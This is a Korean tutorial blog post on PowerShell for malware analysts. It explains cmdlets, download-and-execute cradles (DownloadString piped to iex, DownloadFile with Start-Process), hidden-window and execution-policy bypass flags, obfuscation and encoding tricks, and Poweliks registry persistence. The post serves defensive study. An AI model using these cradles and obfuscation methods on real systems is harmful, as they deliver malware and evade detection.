목차
0. 개요
1. 기본
.... 1.1 기본
.... 1.2 Cmdlet
.... 1.3 Script
.... 1.4 환경변수
2. 파라미터
3. 기본 방식
.... 3.1 다운로드
.... 3.2 파워셸 상에서 바이너리 실행
.... 3.3 cmd 상에서 바이너리 실행
.... 3.4 인코딩 / 디코딩
4. 스크립트 실행
.... 4.1 Powershell
.... 4.2 CMD
5. 실행 정책
.... 5.1 실행 정책 개요
.... 5.2 실행 정책 우회
6. 난독화
.... 6.1 대소문자
.... 6.2 따옴표
.... 6.3 -f
.... 6.4 Back Ticks
.... 6.5 공백
.... 6.6 아스키
.... 6.7 replace
.... 6.8 환경 변수 이용
.... 6.9 Get-Variable
.... 6.10 etc
7. 인코딩 방식
.... 7.1 GzipStream
.... 7.2 DeflateStream
.... 7.3 SecureString
8. 악성코드
.... 8.1 악성코드 다운로더 및 실행
.... 8.2 스크립트 실행
.... 8.3 고급
9. 참고
0. 개요
최근들어서 PowerShell을 이용한 악성코드가 만들어지고 있다. 악성코드 분석을 공부하는 입장에서는 많은 분량의 파워셸을 전체적으로 공부할 수도 없으며 밑도끝도 없이 바로 파워셸 악성코드 분석을 다루는 문서들을 보기에도 기본 지식이 부족하여 힘든 면이 있다. 그래서 이 문서에서는 파워셸에 대한 기본적인 내용부터 시작하여 악성코드 분석적인 면에서 다루기로 하겠다. 이를 통해서 이것만 읽어도 파워셸에 대한 기본적인 내용을 포함하여 여러 분석 문서들을 이해하는데 어려움이 없고 또한 추후에 추가적인 기술을 다루는 문서들을 공부하는데 있어도 도움이 될 수 있도록 하고 싶었다.
먼저 파워셸에 대한 개략적인 개념 및 사용 방법을 다룰텐데 주로 악성코드에서 사용되는 파워셸의 명령어 위주로 기능과 관련된 다루도록 하겠다. 그리고 악성코드에서 파워셸이 자체적으로 어떤 방식을 통해 이용되는지 즉 어떻게 실행되는지 어떤 방식으로 사용되는지를 다루기로 한다.
1. 기본
1.1 기본
기본적으로 셸이기 때문에 우리에게 익숙한 Bash와 유사하다고 여기면 될 것이고 스크립트 언어를 지원하는 등의 특징도 같다. 그렇기 때문에 여기서는 파워셸 만의 특징 위주로 설명하고자 한다.
파워셸은 .NET Framework를 기반으로 만들어졌기 때문에 명령어 프로그램을 실행시키는 다른 셸들과는 차이점이 있다. 즉 객체 지향 스크립트로서 셸에서 .NET Frmework의 기능을 사용할 수 있는 것이다. 이 개념들을 기반으로 차례대로 설명하기로 하겠다.
1.2 Cmdlet
Bash 같은 셸에서 기본 명령어들을 제공하듯이 파워셸에서도 기본 명령어가 제공된다. 이것을 cmdlet이라고 하는데 당연히 바이너리가 아니며 명령어처럼 구체적인 기능을 제공하는 .NET 클래스이다. 즉 내부적으로는 .NET Framework Class Library를 이용해서 구현한 것이다. 기본적인 cmdlet부터 악성코드에서 주로 사용되는 것까지 알아보자.
참고로 앞에 powershell을 붙이는 것은 이것이 파워셸 내부가 아닌 cmd 등의 환경에서 실행되었다는 것을 의미한다. 만약 파워셸 내부였다면 powershell을 붙이지 않고 직접 실행할 수 있다. 악성코드 관련된 내용이기 때문에 이렇게 통일하였으며 더 자세한 사항은 마지막에 다룰 것이다.
> powershell Get-Location
이것은 Bash의 pwd 처럼 현재 디렉터리를 보여준다.
> powershell Set-Location <Location>
이것은 Bash의 cd 처럼 현재 디렉터리를 이동할 때 사용된다.
> powershell Write-Output <string>
이것은 Bash의 echo와 같은 기능을 한다.
> powershell Get-ExecutionPolicy
실행 정책을 보여준다. 실행 정책은 뒤에서 자세히 다루기로 한다.
> powershell Get-wmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
> powershell Get-wmiObject -Class Win32_ComputerSystem
각각 AntiVirus 제품 정보 얻기, 가상환경 검사. [ ref : https://www.slideshare.net/JackyMinseokCha/power-shell-20161118 ]
Get-WmiObject cmdlet을 이용하여 WMI 즉 시스템 관리 작업을 위한 명령도 사용할 수 있다. 악성코드에서도 위의 경우처럼 유용한 정보를 얻기 위해 사용되기도 한다. WMI와 관련된 내용은 다음 링크를 확인하도록 한다. [ http://sanseolab.tistory.com/49 ] 참고로 파워셸을 이용한 제대로된 악성코드들은 WMI를 상당히 활용하는 것으로 보인다.
1.3 Script
스크립트에 대해서는 익숙하지도 않으며 잘 알지도 못하므로 아주 간단하게 필요한 것만 정리하겠다. 그리고 파워셸만을 이용한 악성코드는 아직 많이 존재하지 않는 것으로 여겨지며 일반적으로 간단한 다운로더 역할을 수행한다고 한다.
아마 조금씩 추가될 것 같다. 먼저 파워셸 스크립트 파일은 확장자가 .ps1이다. 그리고 위에서 보았지만 변수는 키워드 $를 붙여서 사용한다.
여기서는 예제를 통해 파라미터 부분을 보기로 한다. func_1이라는 함수를 정의하는데 처음 파라미터 정의 부분만 보겠다.
function func_1 {
Param (
[Parameter(Position=0,Mandatory=$True)] [String] $Module,
[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);
);
...
}
처음 보면 그리고 다음과 같이 적어져 있다면 뭐가 뭔지 모를 것이다.
function func_1{Param([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure););...}
차례대로 설명해 보자면 Param() 내부에 파라미터를 정의한다. 파라미터의 개수는 변수 즉 $가 붙은 것을 이용해 구분하자. 앞의 [Parameter()] 부분은 파라미터의 속성을 의미하는데 Position은 순서를, Mandatory=$True는 강제로 입력 받게 만들어 준다. 이후 System.String 클래스 형태로 인자를 받는다. 파라미터는 변수 $Module, $Procedure라는 이름으로 사용할 수 있다.
1.4 환경 변수
위에서 변수 선언은 $ 키워드를 사용한다는 것을 알게 되었다. 여기서는 파워셸의 환경 변수들 목록을 보겠다.
--------------------------------------------------------------------
ALLUSERSPROFILE C:\ProgramData
APPDATA C:\Users\<user>\AppData\Roaming
CLSID
CommonProgramFiles C:\Program Files\Common Files
CommonProgramFiles(x86) C:\Program Files (x86)\Common Files
COMPUTERNAME
ComSpec C:\WINDOWS\system32\cmd.exe
FPS_BROWSER_APP_PROFILE_STRING Internet Explorer
FPS_BROWSER_USER_PROFILE_ST... Default
HOMEDRIVE C:
HOMEPATH \Users\<user>
LOCALAPPDATA C:\Users\<user>\AppData\Local
NUMBER_OF_PROCESSORS 2
OneDrive
OS Windows_NT
PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE AMD64
ProgramData C:\ProgramData
ProgramFiles C:\Program Files
ProgramFiles(x86) C:\Program Files (x86)
PROMPT $P$G
PSModulePath C:\Users\<user>\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell...
PUBLIC C:\Users\Public
SESSIONNAME Console
SystemDrive C:
SystemRoot C:\WINDOWS
TEMP C:\Users\longa\AppData\Local\Temp
TMP C:\Users\longa\AppData\Local\Temp
User ID
USERDOMAIN
USERDOMAIN_ROAMINGPROFILE
USERNAME <user>
USERPROFILE C:\Users\<user>
VBOX_MSI_INSTALL_PATH
VS140COMNTOOLS
windir C:\WINDOWS
--------------------------------------------------------------------
> Get-ChildItem Env:
환경 변수들의 전체 목록은 위의 명령어를 통해 확인 가능하다.
> $Env:os
이것은 각 환경 변수를 확인할 수 있다.
2. 파라미터
앞에서 특별히 언급하지는 않았지만 중요한 내용이 등장했는데 바로 인자라는 개념이다. 파워셸 내부에서야 상관 없지만 cmd 같은 외부 프로그램에서 파워셸을 실행할 때 powershell 또는 powershell.exe 다음에 인자를 넣을 수 있다. 또한 중요한 점은 파워셸은 인자를 받을 때 대소문자를 구분하지 않으며 뒤에 자동으로 *를 넣는 것처럼 받아들인다. 즉 " -ExecutionPolicy Bypass "라는 인자는 " -EXeCUTIo BYpasS "로 입력해도 같은 것으로 받아들인다는 의미이다. 악성코드에서는 위와 같은 방식으로 자주 사용되는 것으로 보아 난독화의 개념으로써 이용되는듯 하다. 이제부터는 각 인자를 알아보도록 하겠다.
-WindowStyle Hidden
스크립트 실행 시에 파워셸 콘솔 윈도우가 보여지는데 -WindowStyle을 Hidden으로 넣으면 보이지 않게 설정할 수 있다. 하지만 실행 방식에 따라 이것을 붙이지 않고도 콘솔 윈도우가 보이지 않는 방식도 있다.
"-wind hidden" "-win hidden" "-w hidden"
-NoProfile
사용자의 Profile Script의 위치는 파워셸에서 $profile을 입력하면 확인할 수 있다. Profile Script는 파워셸 실행 시 자동으로 실행된다. -NoProfile은 이것을 실행시키지 않게 한다.
"-nop" "-NoP"
-NoLogo
파워셸이 로고 배너 없이 실행된. 이해가 잘 가지 않는 것이 어차피 -WindowStyle Hidden을 넣으면 윈도우가 봉지 않기 때문이다.
"-nol"
-NonInteractive
파워셸 콘솔은 Non Interactive 모드로 실행한다. 즉 프롬프트로 사용자의 입력을 받지 않는다.
-ExecutionPolicy
실행 정책 설정. 뒤에서 설명한다.
"-ep Bypass"
-EncodedCommand
뒤에서 설명한다.
"-enc" "-e"
3. 기본 방식
3.1 다운로드
3.1.1 System.Net.Webclient 객체의 DownloadFile 메소드
> powershell (New-Object System.Net.Webclient).DownloadFile('<address>', 'aaa.jpg')
앞에서도 언급하였듯이 파워셸에서는 .NET Framework의 클래스를 사용할 수 있다고 하였다. 여기서 New-Object cmdlet은 System.Net.Webclient 객체를 생성하는 역할을 하며 명령어 전체적으로는 이 객체의 DownloadFile() 메소드를 실행한다. 즉 DownloadFile() 메소드를 실행하여 특정 웹사이트 주소에서 파일을 다운로드 받아 이름을 'aaa.jpg'로 저장한다.
일반적으로 악성코드에서 exe 파일을 다운로드할 때 사용된다. 이후에는 start-process 등을 이용해 exe 파일을 실행할 것이다.
3.1.2 System.Net.Webclient 객체의 DownloadString 메소드
> powershell -command "iex(New-Object Net.WebClient).DownloadString('http:../aaa.ps1')"
앞의 DownloadFile() 방식이 악성코드에서 exe 파일을 다운로드할 때 사용된다면, DownloadString()은 파워셸 스크립트를 다운로드할 때 사용된다. 하지만 차이점이 있는데 DownloadFile()이 파일을 직접 다운로드하는 방식인 반면 DownloadString()은 메모리 상으로 존재한다. 그래서 이것과 아래에서 살펴볼 Invoke-Expression을 사용할 경우 실제 시스템에 떨어지는 파일 없이 메모리 상으로 다운로드 받아서 바로 실행할 수 있다.
3.1.3 bitstransfer
> powershell if($host.version.major -lt 3){import-module bitstransfer} start-bitstransfer -source http://wjradburn.com/software/PEview.zip -destination $env:temp\PEview.zip; start-process $env:temp\PEview.zip
위와 같은 방식도 사용될 수 있다.
3.2 파워셸 상에서 바이너리 실행
3.2.1 기본
PS > .\main.exe
결과가 파워셸 화면에 보여진다.
3.2.2 Invoke-Expression Cmdlet
PS > $command = "Start-Process '$env:USERPROFILE\Desktop\main.exe'"
PS > Invoke-Expression $command
Invoke-Expression은 받은 문자열을 명령어로서 실행시킨다. 위의 경우는 예제이고 실제 악성코드에서 사용하는 방식은 뒤에서 다룰 것이다. 참고로 iex는 Invoke-Expression을 의미한다.
3.2.3 Invoke-Item Cmdlet
해당 항목에 대한 디폴트 행위를 수행한다. 즉 txt 파일이면 메모장으로 열어주며 exe라면 실행, ps1이라면 더블 클릭했을 때와 마찬가지로 메모장으로 열어준다.
3.2.4 Invoke-Command Cmdlet
아래에서 Script Block을 실행하는데 사용되었지만 일반적으로 관리에 사용되는 Cmdlet으로 보인다.
3.2.5 Start-Process
PS > Start-Process .\main.exe
결과가 새로운 프로세스로 실행되서 보여진다.
3.2.6 기타
PS > $cmd='.\main.exe'; &($cmd)
&를 사용한다.
PS > (New-Object -comObject Shell.Application).ShellExecute('main.exe')
COM 오브젝트를 사용할 수도 있다.
3.3 cmd 상에서 바이너리 실행
다음은 cmd 상에서 파워셸을 실행하면서 바이너리를 인자로 주고 실행하는 방식이다.
> powershell.exe .\main.exe
내부(결과가 파워셸 화면에 보여진다)
> powershell.exe Invoke-Item .\main.exe
외부(결과가 새로운 프로세스로 실행되서 보여진다)
> powershell.exe Start-Process .\main.exe
외부(결과가 새로운 프로세스로 실행되서 보여진다)
> powershell.exe "$cmd='.\main.exe'; &($cmd)"
내부. &를 사용한다.
> powershell.exe "$scriptblock={.\main.exe}; invoke-command -scriptblock $scriptblock"
내부.
> powershell "$ps = New-Object System.Diagnostics.Process; $ps.StartInfo.FileName = '.\main.exe'; $ps.start()"
외부. [Diagnostics.Process] Start()를 사용하여 실행할 수 있다.
> powershell Start-Process "$env:USERPROFILE\Desktop\main.exe"
경로 설정.
> powershell (New-Object -com Shell.Application).ShellExecute('main.exe')
간단하게 com으로 입력해도 된다.
3.4 인코딩 / 디코딩
> powershell -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAbABvAG4AZwBhAFwARABlAHMAawB0AG8AcABcAG0AYQBpAG4ALgBlAHgAZQAnAA==
이것은 base64로 인코딩된 문자열을 명령어로서 받아들인다. 예제를 들어서 설명해보겠다.
--------------------------------------------------------------------
> powershell
PS > $command = "Start-Process '$env:USERPROFILE\Desktop\main.exe'"
PS > $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS > $encodedCommand = [Convert]::ToBase64String($bytes)
PS > $encodedCommand
UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAbABvAG4AZwBhAFwARABlAHMAawB0AG8AcABcAG0AYQBpAG4ALgBlAHgAZQAnAA==
PS > exit
C:\Users> powershell -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAbABvAG4AZwBhAFwARABlAHMAawB0AG8AcABcAG0AYQBpAG4ALgBlAHgAZQAnAA==
--------------------------------------------------------------------
위와 같은 방식으로 명령어를 암호화할 수 있고 -EncodedCommand를 통해 이 암호화된 명령어를 실행시킬 수 있다.
먼저 이 부분을 보자.
[System.Text.Encoding]::Unicode.GetBytes($command)
왼쪽 항목은 System.Text 네임스페이스(NameSpace)의 Encoding 클래스(Class)를 먼저 지정한다. 그리고 Encoding 클래스의 GetBytes() 메소드(Method)를 사용한다는 것을 의미한다. 앞에서 $command 변수에는 우리가 원하던 명령어 즉 문자열이 들어가 있었다. 이것을 GetBytes()를 통해 읽은 후 Encoding 클래스의 Unicode 프로퍼티(Property) 형태로 반환한다. 즉 $bytes 변수에는 유니코드 값으로 해당 명령어가 저장된 것이다. 직접 설명해 보겠다.
PS > $command = "Start-Process '$env:USERPROFILE\Desktop\main.exe'"
PS > $command
Start-Process 'C:\Users\longa\Desktop\main.exe'
이번에는 ASCII 프로퍼티를 이용해 아스키 값으로 반환시켜 보겠다.
PS > $bytes = [System.Text.Encoding]::ASCII.GetBytes($command)
PS > $bytes
83
116
97
114
116
...
이런 식의 결과가 나온다. 83은 16진수로 0x53으로서 대문자 S이며 116은 0x74 즉 소문자 t이다. 아까 저장한 명령어가 Start-Process 등이었으므로 이해할 수 있을 것이다. 이제 Unicode 프로퍼티를 이용해 보자.
PS > $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS > $bytes
83
0
116
0
97
0
114
0
...
유니코드 형태여서 그런지 값들 사이에 0이 들어가 있다. 이제 다음 명령어를 보자. Convert 클래스의 ToBase64String() 메소드를 이용하여 Base64 문자열로 변환한다.
PS > $encodedCommand = [Convert]::ToBase64String($bytes)
아직 닷넷과 파워셸 관련 내용을 잘 모르지만 이정도면 기본 문법은 충분해 보인다.
4. 스크립트 실행
4.1 Powershell
파워셸의 경우 스크립트를 직접 실행하는 것은 정책적으로 막혀있다. 즉 cmd에서 인자로 명령을 주고 파워셸을 실행하는 것은 가능하지만, 파워셸 커맨드 라인 및 cmd에서 직접 ps1 스크립트를 실행하는 것은 정책적으로 막혀 있다.
PS > .\aaa.ps1
실행할 수 없다.
> powershell.exe -ExecutionPolicy Bypass
PS > .\aaa.ps1
위과 같이 powershell을 실행할 때 부터 실행 정책을 주어야 한다.
4.2 CMD
> powershell.exe -ExecutionPolicy Bypass .\aaa.ps1
위의 과정을 한 번에 처리할 수 있다.
> powershell.exe -ExecutionPolicy Bypass -File aaa.ps1
-File 옵션을 사용한다.
> powershell.exe get-content .\aa.ps1 | powershell.exe
5. 실행 정책
5.1 실행 정책 개요
파워셸은 셸 형태로 명령을 받는 방식 외에도 스크립트 형태로 존재할 수 있다. 여기서 언급해야 할 것이 실행 정책이다. 이 실행 정책을 확인하는 cmdlet이 Get-ExecutionPolicy이며 우리는 디폴트 실행 정책이 Restricted인 것을 볼 수 있다. 이것은 혼란스러운 개념일 수 있으므로 예를 들어서 설명해 보겠다. 우리가 batch 파일 즉 .bat 파일을 만들었다고 치자. 이것 또한 스크립트이며 더블 클릭이나 cmd를 통해 실행 시에 batch 파일이 실행되는 것을 알 수 있다. 하지만 파워셸 스크립트 파일인 .ps1은 Restricted이기 때문에 정책상 실행되지 않는다. 대신 에디터 프로그램이 실행되는 것을 알 수 있다. 심지어 cmd에서도 마찬가지이다.
5.2 실행 정책 우회
> powershell.exe -ExecutionPolicy Bypass .\aaa.ps1
위에서 언급한 방식이다.
> TYPE aaa.ps1 | powershell
type 명령어를 이용한다.
> powershell get-content .\aa.ps1 | powershell
> powershell "& {Get-Content .\aa.ps1 | iex}"
> powershell -command "iex(New-Object Net.WebClient).DownloadString('http:../aaa.ps1')"
위의 명령어는 먼저 DownloadString()을 통해 웹에서 파워셸 스크립트를 문자열로 얻어오며 (DownloadFile()이 아니다) 이후 이것을 iex() 즉 Invoke-Expression에 넣는데 이 말은 이 문자열을 명령어로서 실행시킨다는 의미이다. aaa.ps1 스크립트에는 악의적인 내용이 들어있을 것이다.
6. 난독화
파워셸에서 사용되는 난독화는 굉장히 다양하며 여기에 나온 것이 전부는 아닐 것이다. 잘 정리된 링크를 알게되어 간단하게나마 여기에도 정리하려고 한다. 해당 링크는 다음과 같다. [ https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube ]
6.1 대소문자
6.2 따옴표
'som'+'est'+'ring'
6.3 -f
'{2}{0}{1}' -f 'str','ing','some'
$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ;
do{&(\"{1}{0}\" -f'ep','sle') 33;
&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\7897799.exe
$aa = [TyPE]("{1}{0}{3}{2}" -f 'on','ENVIr','Nt','mE');
6.4 Back Ticks
s`om`estr`in`g
참고로 Back Ticks는 모든 경우에 사용될 수 있는 것이 아니다. 다음 문자 앞에는 `를 붙이는 것을 피해야 한다.
`0 : Null
`a : Alert
`b : Backspace
`f : Form feed
`n : New line
`r : Carriage return
`t : Horizontal tab
`v : Vertical tab
예를들어 아래와 같이 Application의 o 앞에 `을 붙여도 정상적으로 실행된다.
powershell (New-Object -com Shell.Applicati`on).ShellExecute('main.exe')
하지만 다음과 같이 n 앞에 `을 붙이면 다른 문자로 인식되기 때문에 정상적으로 인식되지 않는다.
powershell (New-Object -com Shell.Applicatio`n).ShellExecute('main.exe')
6.5 공백
'some' +'str'+ 'ing'
6.6 아스키
[cHar]92 ('\')
6.7 replace
6.8 환경 변수 이용
$shellid : Microsoft.PowerShell
6.9 Get-Variable
Get-Variable '*MdR' 명령을 이용해서 문자열 "MaximumDriveCount"를 구한 후 여기서 문자열 "iex" 추출하는 방식이다.
.((gET-varIAble '*MDR*').nAME[3,11,2]-JoiN'')([chAR[]] ( 36,112, 97 ...
결국 아래와 같이 iex로 사용될 수 있다.
.(iex)(....)
6.10 etc
관련 내용은 아니지만 다음 방식이 가능할 정도로 문자열에 대한 자유도가 지원된다.
> powershell C:\??*?\*3?\c?lc.?x?
ㄴ calc.exe 실행
> powershell C:\*\*2\n??e*d.*
ㄴ notepad.exe 실행
> powershell C:\*\*2\t?s*r.*
ㄴ taskmgr.exe 실행
7. 인코딩 방식
여기서는 악성코드에서 주로 사용되는 인코딩 방식을 다룬다.
7.1 GzipStream
파워셸 명령어를 사용하는 악성 매크로 파일들을 동적으로 분석하다 보면 다음과 같은 명령들을 자주 볼 수 있다.
... Invoke-Expression $(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIACnYKloCA7VWbW ...
이것은 파워셸 스크립트를 Gzip으로 압축한 후 다시 Base64로 인코딩한 형태이다. 굳이 Base64를 이용해 인코딩한 이유는 Gzip을 이용해 인코딩한 경우 결과가 Hex 형태인데 파워셸 명령에서 이대로 사용할 수는 없기 때문에 Base64를 통해 다시 문자열 형태로 만들어주는 것이다. 이에 따라 다시 Base64를 이용해 디코딩한 후 Gzip으로 압축 해제하여 복호화된 명령을 실행하는 방식이다. 참고로 해당 문자열을 Base64로 디코딩한 후 (결과는 Hex 형태일 것이다) 파일로 만들고 이것을 7z 같은 툴로 압축 해제시켜 주면 원본 파워셸 명령어를 볼 수 있다.
[ https://github.com/SanseoLab/ejExtractor ] 해당 링크의 툴을 이용해 위의 Base64로 인코딩된 문자열을 파일로 만든 후 -pgd 옵션을 사용하여 디코딩된 파워셸 스크립트를 얻을 수 있다.
7.2 DeflateStream
아래의 예시를 보면 알겠지만 위에서 살펴본 GzipStream과 키워드만 다르지 매우 유사하다. 다음과 같이 사용된다.
... Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtc9o4 ...
굳이 추가적인 설명이 필요 없을 정도로 유사하다. 이것 또한 ejExtractor 툴을 이용해서 -pdd 옵션을 사용해서 디코딩할 수 있다.
7.3 SecureDecode
이것은 앞의 두 방식과는 조금 다르다. 앞에서는 직관적이어서 굳이 문법적인 이해가 필요 없었지만 여기서는 헷갈리는 점이 있으므로 조금 더 구체적으로 설명하려고 한다.
... [Runtime.InterOpServices.Marshal]::PtrToStringAuto( [Runtime.InterOpServices.Marshal]::SecureStringToBSTR( $('76492d1116743f04 ... DUA' |ConvertTo-SecureString -KeY 160,170,243, ... 204,248)))
... new-OBJEcT MAnageMEnT.autoMATiOn.pSCREdENtIal ' ',( '76492d11 ... yAGEA'| cONVErtTo-SecuRESTriNg -KEY (78..93)) ).getNEtwoRKCreDenTIAL().pASsWoRD ...
파워셸에서는 비밀번호를 저장하기 위한 용도로 SecureString이라는 것을 지원한다. 여기에 사용되는 함수로 ConvertTo-SecureString과 ConvertFrom-SecureString이 있다. ConverTo-SecureString은 인자에 따라 다른데, 먼저 암호화된 문자열을 SecureString으로 만들어 줄수 있다. 이 때는 -key 옵션을 사용해 키를 인자로 넘겨주어야 한다. 그리고 Plain한 문자열을 SecureString으로 만들어 줄 수도 있는데 이 때는 -AsPlainText 옵션을 사용한다.
ConvertFrom-SecureString 함수는 SecureString을 암호화된 문자열로 변환해 준다. 이것은 ConvertTo-SecureString 함수의 첫 번째 사용법의 반대라고 생각하면 된다. 당연히 암호화를 위한 키를 인자로 받는다.
악성코드의 경우 Plain한 파워셸 스크립트를 ConvertTo-SecureString 함수를 이용해 -AsPlainText를 인자로 하여 SecureString으로 생성할 것이며 이것을 다시 ConvertFrom-SecureString 함수를 이용해 -key 옵션을 통해 해당 키를 사용하여 암호화된 문자열을 생성할 것이다. 앞에서 보이는 문자열은 이 과정을 통해 만들어진 것이다.
이후 실제 악성코드에서는 이렇게 만들어진 문자열에 대해서 ConvertTo-SecureString 함수를 이용해 -key 인자로 들어온 키 값을 사용하여 다시 디코딩된 SecureString을 만들어 줄 것이다. 문제는 이것도 SecureString으로서 가장 처음의 Plain한 스크립트는 아니기 때문에 SecureStringToBSTR 함수를 이용하여 실제 Plain한 스크립트로 만들어줄 수 있다.
참고로 아래의 예시는 비밀번호를 저장하기 위한 용도로 지원되는 또 다른 방식인 PSCredentials이다. 하지만 이것도 어쨌든 SecureString을 이용하기 때문에 실제 인코딩된 데이터를 복호화하는 과정은 동일하다. 즉 만들때만 다르지 악성코드에서 저 방식대로만 사용한다면 똑같이 복호화시켜서 원본 스크립트를 얻을 수 있다.
추가적인 사항으로서 앞에서는 PtrToStringAuto를 사용하였다. 하지만 다른 악성코드들을 보면 이 함수 외에도 PtrToStringUni, PtrToStringAnsi, PtrToStringBSTR를 사용하는 경우를 볼 것이며 이것은 무엇을 사용해도 원본 스크립트를 얻는데 문제가 없다.
마찬가지로 앞에서는 SecureStringToBSTR를 예시로 사용하였지만 SecureStringToGlobalAllocUnicode이나 SecureStringToGlobalAllocAnsi를 사용해도 무방하다. 이것 또한 ejExtractor 툴을 이용해서 -psd 옵션을 사용해서 (키 값이 추가적으로 필요하기 때문에 -key 옵션도 같이 사용해야 한다) 디코딩할 수 있다.
8. 악성코드
많은 자료들을 가지고 통계를 내는 것이 아니라 여러가지 찾은 내용들을 정리한 내용이다. 아마 실제로는 아래의 내용과는 많이 다를 수 있다.
8.1 악성코드 다운로더 및 실행
아주 간단한 형태로서 매크로나 .lnk 즉 바로가기 파일을 이용한다. 아래는 바로가기를 기준으로 설명한다. 참고로 앞에 "cmd.exe /c"를 붙여도 되며 붙이지 않아도 되지만 붙이는 경우에는 반드시 "/c" 옵션을 같이 사용해야 한다.
- 다음은 앞에서 언급한 두 가지를 사용하였다. 하나는 DownloadFile()로서 파일을 다운로드하는 메커니즘이며 다른 하나는 Start-Process를 이용해 다운로드 받은 파일을 실행하는 메커니즘이다. 참고로 스크립트 파일을 실행시키는 방식이 아니므로 실행 정책과 관련이 없다.
cmd /c powershell -NoProfile -WindoStyle Hidden (New-Object System.Net.WebClient).DownloadFile('<address>', '<location>');Start-Process <location>
- 다운로드를 위한 다음과 같은 방식도 있다. 기본적으로 느리므로 -WindowStyle Hidden으로 설정하지 않으면 다운로드 과정을 볼 수 있다. -Command 옵션의 유무는 차이가 없어 보인다.
cmd /c powershell.exe -WindowStyle Hidden -c "import-module bitstransfer;Start-BitsTransfer 'address' <location>"
8.2 스크립트 실행
이것도 7.1의 항목과 같다. 차이점은 스크립트 파일을 실행시키는 것이기 때문에 실행 정책과 관련이 있다는 것이다. 또한 간단한 명령어들 모음 보다는 훨씬 구체적이고 복잡한 내용을 스크립트에 구현할 수 있다.
- 6.2에서 언급한 방식 그대로이다. 스크립트 파일을 실행시키는 방식이 아니기 때문에 실행 정책을 우회할 수 있다.
cmd /c powershell -command "iex(New-Object Net.WebClient).DownloadString('http:../aaa.ps1')"
8.3 고급
사실 지금까지 본 것들은 간단한 몇 개의 명령어로 이루어진 방식 또는 스크립트를 다운받아서 실행하는 방식이었다. 그러므로 객체를 간단하게 이용하거나 몇 개의 cmdlet을 이용하는 것만 살펴보았다. Poweliks, Kovter, PowerSniff, PowerWare, August, POSHSPY, Phasebot 등의 악성코드들은 이러한 기본 방식이라기 보다는 더 제대로 파워셸을 이용한다. 아직 파워셸에 대한 지식이 많이 없으므로 간단한 것부터 정리하고 추후에 자주 사용되는 것들 위주로 추가하기로 한다. 이외에도 WMI와 관련된 내용도 추가하겠다.
- Poweliks
사실 직접 분석한 것이 아니고 여러 분석 문서들을 참고해서 분석한 것이기 때문에 내용이 많이 부족하다. 그래도 관련 메커니즘을 공부하기 위해 정리하기로 한다.
간략하게 설명해서 레지스트리의 HKCU\\software\\microsoft\\windows\\currentversion\\run 키에는 두 개의 값이 써진다. 첫 번째는 아래와 같다.
--------------------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"[NON-ASCII STRING]" =
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";
document.write(
"<script language=jscript.encode>"
+(new ActiveXObject("WScript.Shell")).
RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")
+"</script>"
)
--------------------------------------------------------------------
다른 하나는 이름이 "(default)"이며 encoding된 jscript로서 저장된다.
--------------------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"(default)" = "인코딩된 JScript"
--------------------------------------------------------------------
첫 라인부터 이해가 필요하다. 다행히도 관련된 내용이 스택오버플로우[ https://stackoverflow.com/questions/25131484/rundll32-exe-javascript ]에 정리되어 있었다. 답변이 참고한 링크는 깨져있지만 이것만으로도 많은 정보를 얻을 수 있다. 이 답변이 없었으면 이런 종류의 트릭과 관련된 정보는 계속 모르고 있었을 것이다.
어쨌든 이 코드의 목적은 이름이 "(default)"인 인코딩된 js를 실행하는 것이다. 참고로 암호화된 이 부분은 ASCII 문자가 아니므로 NULL 문자가 있어서 regedit으로 읽으려고 할 때 실패하게 된다.
인코딩된 js는 Powershell과 .NET Frameworks가 설치되었는지 검사한 후 설치되지 않았으면 설치한다. js 내부에도 인코딩된 파워셸이 존재하는데 이후 이것을 실행한다. 이후 파워셸 부분은 아직 분석하지 않아서 이후에 문법적인 부분부터 추가하기로 한다.
9. 참고
- [ https://adsecurity.org/?p=2921 ] : 좋은 도구들이 잘 정리되어 있다.
- [ https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube ] : 난독화와 관련하여 잘 정리된 링크.
- [ https://github.com/SanseoLab/ejExtractor ] : 위에서 살펴본 파워셸의 3가지 인코딩 방식들에 대한 디코딩 툴.